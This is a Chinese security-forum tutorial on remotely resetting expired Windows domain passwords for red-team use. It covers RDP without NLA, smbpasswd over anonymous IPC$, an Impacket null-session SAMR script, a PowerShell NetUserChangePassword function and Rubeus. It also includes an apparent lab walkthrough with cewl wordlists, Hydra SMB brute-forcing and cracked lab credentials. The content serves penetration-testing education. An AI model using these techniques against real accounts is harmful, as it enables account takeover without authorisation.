问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
红队技巧-远程重置过期密码
渗透测试
分享者才是学习中最大的受益者!
前言 -- 一个红队经常用到的小技巧,远程重置过期密码,这个在实战中太常见了 当我们找到有效的凭据,但密码却过期了 远程桌面协议 ------ 注:需要 RDP 而不强制执行 NLA 我们需要找到一个不需要 NLA 的系统。并且不需要系统的权限 ### nessus 可以在Nessus 扫描结果中查找:`终端服务不仅使用网络级身份验证 (NLA)` ### nmap 执行命令 ```php nmap x.x.x.x -p 3389 --script rdp-enum-encryption ``` 关注:`SSL: SUCCESS`字段 ### Metasploit 使用`auxiliary(scanner/rdp/rdp_scanner)`模块 配置参数 扫描即可 ```php use auxiliary(scanner/rdp/rdp_scanner) ``` ### rdesktop rdesktop连接到目标系统,无需指定任何用户名或密码 执行命令 ```php rdesktop x.x.x.x ``` 需要键入yes,信任证书 可以重置密码,也可以返回到其他命令行工具 smbpasswd --------- ### 前言 注:需要匿名访问 IPC$ 共享 smbpasswd可能是远程重置密码最简单方法,但是它有一些条件。 执行命令: ```php smbpasswd -r 10.0.0.15 -U 'expired' #-r:远程主机IP #-U:用户名 ``` ### 原理 ```php 1.首先尝试使用该帐户进行身份验证 2.获取"密码已过期"消息 3.匿名连接到 IPC$ 共享 4.在这里执行密码重置 ``` 注:默认情况下,任何人都可以通过 IPC$ 匿名连接 但是,有时会出现 `IPC$不可访问`的情况,在这种情况下,这将不起作用 可能是 因为 IPC$ 仅限于 NULL会话的限制 ChangePwd --------- ### 前言 注:需要访问 IPC$ Share 和 Windows,并且不需要任何管理员权限即可运行。 工具下载地址:<https://www.joeware.net/freetools/tools/changepw/index.htm> ### 原理 它的工作方式与 smbpassword 非常相似 但是在与 IPC$ 的连接方面,如果它不执行匿名连接,它会使用当前登录的用户连接到 IPC$ 在这种情况下,即使 IPC$ 仅限于 NULL 会话,只要我们有一个其他用户,仍然可以执行重置 Impacket smbpasswd ------------------ ### 前言 注:需要 访问 IPC$ 共享 下载地址:<https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py> ### 原理 它与 smbpassword 基本相同,但在 Impacket 中,它是以非交互方式重新实现 问题:<https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html> 我们不需要知道原始明文,有散列值就可以了 ### 实操 #### HTTP 无法访问 根据跳转加hosts ```php 10.10.10.193 fuse.fabricorp.local ``` ![image-20211104175155383](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f7b4b801395952a355d3abd76d24783d8f354acc.png) ![image-20211104175319153](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-35fbc4654aff2ee4e96a3266bdd5a15139592451.png) ![image-20211104175403862](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ebdbc4a86691c32dbb6c3a946c166de38f9910ec.png) 整理用户名 ![image-20211104175536000](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-7640123d3396d9a2f4b57e4e3ca61e5e34b5bf3d.png) ![image-20211104181812790](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-261151ad411fac970c2dd7ebd913d17bdb52db59.png) ```php pmerton tlavel sthompson bhult ``` ![image-20211104181842505](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c760803254f03edede8f3896a22bb710d4a44f81.png) #### smb匿名登录 ```php smbclient -L 10.10.10.193 ``` ![image-20211104182249618](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-bab157fb27968364f97567fe1f4962542d40725b.png) #### cewl 使用cewl根据网页内容生成密码字典: ```php cewl -d 5 -m 3 -w wordlist.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers ``` #### Hydra 暴力破解密码 ```php hydra -L user.txt -P wordlist.txt http://fuse.fabricorp.local smb ``` 得到两个用户名 和 密码 ```php tlavel:Fabricorp01 bhult:Fabricorp01 ``` #### 登录共享 ```php smbclient -L 10.10.10.193 -U tlavel ``` ![image-20211104183655372](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-306125770ba324d590c34eff8c8bf24090cf04e0.png) 无法直接使用,提示`NT_STATUS_PASSWORD_MUST_CHANGE` 这里 我们的思路 就来了 #### smbpasswd 可以使用旧密码,通过smbpasswd修改密码,之后使用新密码,注意密码需要满足规则 ```php smbpasswd -r 10.10.10.193 -U tlavel ``` 成功修改 ![image-20211104183939434](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d0a050825649f0571e5e27172f6d55a064200711.png) 注:通过 SMB 更改密码还可以使用 impacket 的 smbclient.py,但是当密码过期时它就不能用了 Samba 的`NetCommand`也是一样的,不能更改过期的密码 贴一个大佬的脚本 原理:通过一次对[hSamrUnicodeChangePasswordUser2 的](https://github.com/SecureAuthCorp/impacket/blob/2126aa130c26af96301cc6ce00230d1c41ee6809/impacket/dcerpc/v5/samr.py#L2774)调用直接更改的密码 ```php #!/usr/bin/python3 from argparse import ArgumentParser from impacket.dcerpc.v5 import transport, samr def connect(host_name_or_ip): rpctransport = transport.SMBTransport(host_name_or_ip, filename=r'\samr') if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') # null session dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) return dce def hSamrUnicodeChangePasswordUser2(username, oldpass, newpass, target): dce = connect(target) resp = samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', username, oldpass, newpass) resp.dump() parser = ArgumentParser() parser.add_argument('username', help='username to change password for') parser.add_argument('oldpass', help='old password') parser.add_argument('newpass', help='new password') parser.add_argument('target', help='hostname or IP') args = parser.parse_args() hSamrUnicodeChangePasswordUser2(args.username, args.oldpass, args.newpass, args.target) ``` 执行命令 ```php python3 setsmbpasswd.py tlavel Fabricorp01 'Aaaa001!' 10.10.10.193 ``` ![image-20211104200718833](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ab9a3a7e75d68a19b152e7c243dd8f70fb17dba0.png) 进行登录 ```php smbclient -L 10.10.10.193 -U 'tlavel' ``` ![image-20211104200640482](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-52bd8031b0942f970cca681871b9ba0abe1e3959.png) SetADAccountPwd --------------- 注:需要 Windows 和 RSAT 工具,并且管理员权限才能在 Windows 上安装 RSAT 工具 工具下载地址:<https://www.microsoft.com/zh-CN/download/details.aspx?id=45520> 执行命令: 具体可以参考这里:<https://docs.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword?view=windowsserver2019-ps> Powershell 脚本 ------------- 注:需要访问 IPC$ Share 和 Windows 这里贴上一个脚本 ```php function Set-PasswordRemotely { [CmdletBinding()] param( [Parameter(Mandatory = $true)][string] $UserName, [Parameter(Mandatory = $true)][string] $OldPassword, [Parameter(Mandatory = $true)][string] $NewPassword, [Parameter(Mandatory = $true)][alias('DC', 'Server', 'ComputerName')][string] $DomainController ) $DllImport = @' [DllImport("netapi32.dll", CharSet = CharSet.Unicode)] public static extern bool NetUserChangePassword(string domain, string username, string oldpassword, string newpassword); '@ $NetApi32 = Add-Type -MemberDefinition $DllImport -Name 'NetApi32' -Namespace 'Win32' -PassThru if ($result = $NetApi32::NetUserChangePassword($DomainController, $UserName, $OldPassword, $NewPassword)) { Write-Output -InputObject 'Password change failed. Please try again.' } else { Write-Output -InputObject 'Password change succeeded.' } } ``` Rubeus ------ ### 前言 注:需要 Windows / AV Evasion,当我们拥有用户或其哈希的票证时,就不需要明文 工具下载地址:<https://github.com/GhostPack/Rubeus> ### 原理 具体可以参考这里:<http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/> ```php 1.使用旧密码获取票证 2.使用票证更改密码 ``` 总结 -- 在实战中,建议:收集外网的登录接口,很有可能其中一个系统的登录接口就能重置过期密码 希望可以帮到各位师傅!
发表于 2021-11-11 09:39:31
阅读 ( 7937 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
略略略
36 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!